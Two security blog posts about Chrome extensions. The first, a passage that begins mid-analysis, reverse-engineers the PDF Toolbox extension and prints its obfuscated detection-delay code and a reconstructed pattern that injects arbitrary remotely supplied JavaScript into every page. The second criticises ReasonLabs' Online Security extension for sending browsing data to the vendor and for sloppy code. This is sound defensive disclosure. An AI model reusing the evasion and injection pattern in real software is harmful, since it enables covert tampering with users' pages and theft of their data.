Before I start going through the “wrapper,” there is another piece of logic worth mentioning. Somebody probably thought that the extension making a request to serasearchtop[.]com immediately upon installation would draw suspicions. While it isn’t clear what this domain does or who is behind it, it managed to get onto a bunch of anti-tracking blocking list. So rather than making the request immediately, the extension waits 24 hours. This logic is also obfuscated. It looks like this (slightly cleaned up): const rd = localStorage; const qJ = "cfg"; const oe = Date.now(); var ax = rd.getItem(qJ); const PB = 9993592013; if (ax) { const rd = PB - ax const qJ = oe - rd; if (qJ < (TL ? 0 : rd) || qJ > (ad ? 87217164 : TC)) { // Download logic here } } else { ax = PB - oe; rd.setItem(qJ, ax) } You can again ignore the inline conditionals: both conditions are always true. The PB constant is only being used to somewhat mess up the timestamp when it is being stored in localStorage.cfg. But qJ becomes the number of millisecond since the first extension start. And 87217164 is slightly more than the number of milliseconds in 24 hours. So one only has to change the timestamp in localStorage.cfg for the request to the “configuration” file to happen. For me, only an empty JSON file is being returned however. I suspect that this is another detection prevention mechanism on the server side. There is a cookie being set, so it will likely take some time for me to get a real response here. Maybe there is also some geo-blocking here or other conditions. The “wrapper” The wrapper module is where the config processing happens. The logic is again unnecessarily convoluted but it expects a config file like this: { "something2.func2": "JSON-stringified parameters", "something1.func1": "this is ignored" } The code relies on Object.entries() implementation in Chrome listing object entries in a particular order. It will take the global scope of the extension’s background page and look up the functions listed in the keys. And it will call them in a very specific way: something1.func1(x => { something2.func2(x, params2, () => { chrome.runtime.lastError; }); }); Now I haven’t seen any proper “config” data, so I don’t really know what this is supposed to do. But the callbacks passed in and chrome.runtime.lastError indicate that something1.func1 and something2.func2 are meant to be extension API methods. And given what the extension has access to, it’s either tabs, windows or downloads API. It took me some time to find a parameter-less API that would call the callback with a value that could be passed to another API call. In the end I realized that the first call is adding a listener. Most likely, something1.func1 is chrome.tabs.onUpdated.addListener. This also explains why chrome.runtime.lastError isn’t being checked for the first call, it is unnecessary when adding a listener. The tab update listener will be called regularly, and its first parameter is the tab ID. Which can be passed to a number of extension APIs. Given that there is no further logic here, only one call makes sense: chrome.tabs.executeScript. So the wrapper is meant to run code like this: chrome.tabs.onUpdated.addListener(tabId => { chrome.tabs.executeScript(tabId, {code: "arbitrary JavaScript code"}, () => { chrome.runtime.lastError; }); }); Effectively, the “config” file downloaded from serasearchtop[.]com can give the extension arbitrary JavaScript code that will be injected into every web page being opened. What’s the goal? As I’ve never seen the code being injected, we are now entering the realm of speculations. Most likely, the goal of this code is monetizing the browser extension in ways that are prohibited by the Chrome Web Store policies. Which usually means: injecting ads into websites. One would expect users to notice however. With the latest PDF Toolbox version being published in January 2022, this has been going on for more than a year. It might have been even longer if previous versions contained this malicious code as well. Yet not one of the two million users complains in an extension review about ads. I can see a number of explanations for that: The user numbers have been artificially inflated and the real user count is far lower than two million. The functionality is not active, the server gives everyone an empty config file. The functionality is only active in some regions, particularly those where people are unlikely to come complain in the Chrome Web Store. The code is not injecting ads but rather doing something less obvious. Concerning the latest bullet point, I see a number of options. A less visible monetization alternative would be injecting cryptocurrency mining code into websites. Maybe it’s that. Or maybe it’s something that users have almost no chance of detecting: data collection. Maybe the injected code is collecting browsing profiles. Or something more nefarious: it could be collecting online banking credentials and credit card numbers as these are being entered into websites. Yes, these are pure speculations. It could be anything.

These days it’s typical for antivirus vendors to provide you with a browser extension which is meant to improve your online security. I’ll say up front: I don’t consider any such browser extensions recommendable. At best, they are worthless. At worst, they introduce massive security issues. As an example I took a brief look at the Online Security extension by ReasonLabs. No, there is no actual reason beyond its 7 million users. I think that this extension is a fairly typical representative of its craft.
TL;DR: Most Online Security functionality is already provided by the browser, and there is little indication that it can improve on that. It does implement its functionality in a maximally privacy-unfriendly way however, sharing your browsing history and installed extensions with the vendor. There is also plenty of sloppy programming, some of which might potentially cause issues. Contents Features URL blocking What happens to the data? Extension blocking Searching data leaks Download monitoring Cookie and tracker blocking, notification control Explicit tracking Code quality issues Conclusion
Features First I want to take the Online Security features apart one by one. It might come as no surprise, but there is less here than the extension’s description makes it sound like. URL blocking The extension description claims: URL Blocker - Online Security protects you against security breaches that come from browsing suspicious websites. Malware, phishing attempts, crypto-jackers, and scams that can damage both your browser and your device - we track them to keep you and your personal data safe. If that sounds good, it’s probably because the browser’s built-in protection does such a good job staying in the background. Few people are even aware that it exists. So they will believe antivirus vendors’ claims that they need a third-party product to keep them safe from malicious websites. Now I cannot really tell how detection quality of Online Security compares to Google Safe Browsing that most browsers rely on. I can comment on the implementation however. While the built-in protection will block malicious websites both at the top level and as frames, Online Security only looks at top-level addresses. The much bigger issue however is: unlike the browser, Online Security lacks the data to make a decision locally. Instead, it will query ReasonLab’s web server for each and every address you navigate to. The query part of the address will be omitted, in case that makes you feel better. Here is what a typical request looks like: POST /SSE/v1/scan/urls.ashx HTTP/1.1 Host: apis.reasonsecurity.com Cookie: s_id=5c1030de-48ae-4edd-acc3-5d92f4735f96; ruser=3b2653d9-31b9-4ce8-9127-efa0cda53702; aft=… x-userid: 2362740a-6bba-40d6-8047-898a3b4423d5 Content-Length: 33 Content-Type: application/json ["https://www.google.com/search"] That’s three user identifiers: two sent as cookies and a third one as x-userid HTTP header. While the former will be reset when the browsing data is cleared, the latter is stored in the extension and will persist for as long as the extension is installed. We’ll see that unique user identifier again. This request will be sent whenever a new page loads. There is no caching: the extension won’t recognize that it queried the server about the exact same page seconds ago but rather send a new request. That’s not quite as invasive as what we’ve seen with Avast’s data collection where the context of the page load was being collected as well. Well, at least usually it isn’t. When Online Security performs a scan, be it manual or automated, it will send the addresses of all your tabs to the server: POST /SSE/v1/scan/urls.ashx HTTP/1.1 Host: apis.reasonsecurity.com Cookie: s_id=5c1030de-48ae-4edd-acc3-5d92f4735f96; ruser=3b2653d9-31b9-4ce8-9127-efa0cda53702; aft=… x-userid: 2362740a-6bba-40d6-8047-898a3b4423d5 Content-Length: 335 Content-Type: application/json [ "https://example.com/", "chrome://extensions/", "https://chrome.google.com/webstore/detail/online-security/llbcnfanfmjhpedaedhbcnpgeepdnnok/related", "https://www.test.de/Geld-anlegen-mit-Zinsen-4209104-0/", "chrome-extension://llbcnfanfmjhpedaedhbcnpgeepdnnok/index.html", "chrome-extension://llbcnfanfmjhpedaedhbcnpgeepdnnok/index.html" ] Yes, that even includes duplicate addresses. Still, likely no malice is involved here. Yet 17 years after Firefox 2 introduced privacy preserving phishing protection we shouldn’t have to discuss this again. Protection against malicious websites in modern browsers will typically use local data to check website addresses against. The server will only be queried if there is a match, just in case the data changed in the meantime. And this should really be the baseline privacy level for any security solution today. What happens to the data? It’s impossible to tell from the outside what ReasonLab’s servers do with this data. So we have to rely on the information provided in the privacy policy: We will also collect URLs and the preceding referral domains to check if they are malicious. Good, they mention collecting this data in unambiguous terms. In this regard, we will send the URLs to our servers but only store their domains in order to operate and provide the Software services. So they don’t claim the data to be deleted. They won’t keep the full addresses but they will keep the domain names. This statement leaves some open questions. Most importantly, the privacy policy doesn’t mention the user identifier at all. If it’s stored along with the domain names, it still allows conclusions about the browsing habits of an individual user. There is also a non-negligible deanonymization potential here. Also, what kind of services need this data? It’s hard to imagine anything that wouldn’t involve user profiles for advertising. Extension blocking Next feature: Disables Harmful Extensions - Online Security identifies all extensions installed on your browser and disables the harmful ones that may hijack your browser settings. Yet another piece of functionality that is already built into the browser. However, once again the built-in functionality is so unintrusive that antivirus vendors see a chance to sell you the same functionality. I’m unsure about the implementation details for Chrome, but Firefox has a local blocklist-addons.json file that it checks all browser extensions against. In case of a match the extension is disabled. Online Security on the other hand opted for a less privacy-friendly approach: when scanning, it will send the complete list of your installed extensions to the ReasonLab’s server: POST /SSE/v1/scan/extensions.ashx HTTP/1.1 Host: api.reasonsecurity.com Cookie: s_id=5c1030de-48ae-4edd-acc3-5d92f4735f96; ruser=3b2653d9-31b9-4ce8-9127-efa0cda53702; aft=… Content-Length: 141 Content-Type: application/json [ "kpcjmfjmknbolfjjemmbpnajbiehajac", "badikkiifpoiichdfhclfkmpeiagfnpa", "nkdpapfpjjgbfpnombidpiokcmfkfdgn", "oboonakemofpalcgghocfoadofidjkkk" ] The privacy policy acknowledges collecting this data but doesn’t tell what happens to it. At least the x-userid header isn’t present, so it’s only cookies identifying the user. Well, maybe they at least do a better job at blocking malicious extensions than the browser does? After all, Google has been repeatedly criticized for not recognizing malicious extensions in Chrome Web Store. Yes, but Google will remove and block malicious extensions when notified about them. So the only way of performing better than the built-in functionality is scanning for malicious extensions and keeping quiet about it, thus putting users at risk. Searching data leaks Let’s move on to something the browser won’t do: Dark Web Monitoring - lets you know when your email-related information has become exposed. It will reveal details like passwords, usernames, financial information, and other sensitive details while providing steps to remediate the issue. This sounds really fancy. What it actually means however: the extension can check whether your email address is present in any known data leaks. It will also use this feature as leverage: you have to register to run the check regularly, and you have to buy the premium version in order to scan multiple email addresses. It so happens that the well-known website Have I Been Pwned provides the same service for free and without requiring you to register. Again, maybe they aren’t as good? Hard to tell. But at least when I enter me@mailinator.com into Have I Been Pwned the result cites 99 data breaches and 7 pastes. Doing the same in Online Security yields merely 2 data breaches, which seems to suggest a rather bad data basis. Interestingly, SpyCloud (which Online Security privacy policy cites as a partner) claims “659 breach exposures” for me@mailinator.com. It won’t tell any details unless you pay them however. Download monitoring Now you probably expect that an antivirus vendor will focus on your downloads. And Online Security has you covered: Monitors Downloads - Online Security seamlessly integrates with RAV Endpoint Protection providing a full and comprehensive protection across your web browser and personal computer. In other words: you have to install their antivirus, and then the extension will trigger it whenever you download something. Which, quite frankly, isn’t very impressive. The IAttachmentExecute::Save method has been available as a way to run antivirus applications since Windows XP SP2. Mozilla added support for it with Firefox 3, which was released 15 years ago. Chrome likely supported this from day one. So antivirus software has had a supported way to scan downloads for a very long time. It doesn’t need browser extensions for that. Cookie and tracker blocking, notification control And then there are a few more things that pretend to be useful features: Blocks Cookies and Trackers- Online Security identifies and blocks malicious cookies and trackers that target you with aggressive and hostile advertising. This allows you to keep your browsing experience private and safe.
Notification Control - Online Security blocks notifications from malicious websites and puts the control at your fingertips, so you can easily follow and remove unwanted notifications through the extension dashboard. Don’t make the wording here confuse you: Online Security is not an ad blocker. It won’t actually block trackers, and it won’t really help you get rid of cookies or notifications. This entire block of functionality is reserved exclusively to websites that Online Security considers malicious. When it encounters a malicious website (which, in its definition, is restricted to top-level websites), Online Security will delete cookies and browsing data for this website. It will also disable notifications from it. Now you are probably wondering: what’s the point if malicious websites are blocked anyway? But they aren’t actually blocked. Since Online Security doesn’t have its data available locally, it has to query its webserver to decide whether a website is malicious. By the time it receives a response, the website might have loaded already. So it will be redirected to the extension’s “Blocked website” page. So this functionality is merely a band-aid for the window of opportunity this extension grants malicious websites to do mischief. Explicit tracking Whenever you open some extension page, when you click something in the extension, if you merely sneeze near the extension, it will send a tracking event to track.atom-ds.com. The request looks like this: POST / HTTP/1.1 Host: track.atom-ds.com Content-Type: text/plain;charset=UTF-8 Content-Length: 438 { "auth": "", "data": "[{ "clientcreated":1683711797044, "extension_id":"llbcnfanfmjhpedaedhbcnpgeepdnnok", "version":"3.13.1", "random_number":902, "action":"click", "product":"rav_extension", "screenid":"home_tab", "button":"see_more", "screencomponentname":"notifications", "status":"2_notifications_blocked", "ext_uid":"2362740a-6bba-40d6-8047-898a3b4423d5" }]", "table": "digital_solutions_cyber_extensions_ui" } The ext_uid field here is the persistent user identifier we’ve seen as x-userid HTTP header before. Now this kind of tracking might not be unusual. It’s being disclosed in the privacy policy: (ii) time and date of certain events related to the Software (such as launching and scanning, updating and uninstalling the Software), activity log of your use of the Software and the most used features of the Software With the supposed purpose: To provide, support and operate the Software as well as to further develop, enhance and improve our Software and your user experience with our Software. Of course, it would have been nice for such functionality to be opt-in, but who would object against their favorite browser extension being improved? Well, it would also have been nice to say that this data is not being stored together with the user identifier. But it probably is, so that ReasonLabs has user profiles containing both browsing history and the user’s extension usage. I wonder however: who runs the atom-ds.com domain? The privacy policy claims that Google Analytics is being used for monitoring, but this isn’t the Google Analytics domain. Online Security probably used Google Analytics in the past, but it doesn’t right now. I also doubt that the domain is owned by ReasonLabs. This domain is listed in various tracking protection lists, it must be some company in the business of monitoring users. And ReasonLabs failed listing this third party in their privacy policy. Code quality issues None of this means of course that browser extensions created by antivirus vendors cannot be useful. But they tend not to be. Which in my opinion is likely a question of priorities: for an antivirus vendor, their browser extension is never a priority. And so they don’t hire any expertise to develop it. This lack of expertise is how I explain the common pattern of providing a minimal extension and then escaping into a native application as soon as possible. That’s not what Online Security developers did however, their extension is largely independent of the antivirus product. The result isn’t exactly instilling confidence however. It has an unused page called newtab.html titled “Chrome Extension Boilerplate (with React 16.6+ & Webpack 4+).” It seems that they used a publicly available extension boilerplate and failed to remove the unnecessary parts. As a result, their extension contains among other things unused files newtab.bundle.js and panel.bundle.js weighting 190 KiB each. But not only that. It contains its own copy of the Google Analytics script (another 140 KiB), also unused of course. I am fairly certain that copying this script violates Google’s license terms. There are also more serious issues with the code. For example, there is a hardcoded list with almost 500 domains: [ "birkiesdipyre.com", "birlerskababs.com", … "hegrem.com", "hehraybryciyls.com" ].forEach((domain, index) => { chrome.declarativeNetRequest.updateDynamicRules({ addRules: [{ id: index + 1, priority: 1, action: { type: "redirect" redirect: { url: chrome.runtime.getURL("/index.html?url=http://"+btoa(domain)+"#/Blocked") } }, condition: { urlFilter: domain, resourceTypes: ["main_frame"] } }] }); }); It sort of makes sense to block some domains unconditionally, even if ReasonLabs’ server is down. It doesn’t make sense to use only domains starting with letters B to H however. No idea why the full list isn’t used here. It cannot be the package size, as there would have been obvious ways to cut down on this one (see above). Note also that the condition uses the urlFilter keyword rather than initiatorDomains. So instead of blocking only these domains, they blocked every address where these domain names can be found – which could be e.g. websites writing about these domains. And the redirect target? They’ve put http:// outside the btoa() call, so the page cannot decode the url parameter and renders blank. It seems that this functionality hasn’t been tested at all. That’s just the obvious mistakes in a small piece of code. Another typical bug looks like this: var hostname = new URL(url).hostname.replace("www.", ""); Clearly, the intention is to remove www. prefix at the start of a host name. Instead, this will remove www. anywhere in the host name. So gwww.oogle.com for example becomes google.com. And that’s a pattern used all over the codebase. It’s used for removing cookies, deleting browsing data, setting site permissions. All of this could potentially be misdirected to an unrelated website. For example, here is what the notifications settings display after I opened the extension’s “Blocked website” page for gwww.oogle.com:
And here is what the cookie settings show:
Conclusion As we’ve seen, Online Security provides little to no value compared to functionality built into browsers or available for free. At the same time, it implements its functionality in a massively privacy-invading way. That’s despite better solutions to the problem being available for more than a decade and being widely publicized along with their shortcomings. At the same time, code quality issues that I noticed in my glimpse of the extension’s source code aren’t exactly confidence instilling. As so often with antivirus vendors, there is little expertise and/or priority developing browser extensions. If you really want to secure your browsing, it’s advisable to stay away from Online Security and similar products by antivirus vendors. What makes sense is an ad blocker, possibly configured to block trackers as well. And the antivirus better stays outside your browser. Mind you, Windows Defender is a perfectly capable antivirus starting with Windows 10, and it’s installed by default. There is little reason to install a third-party antivirus application.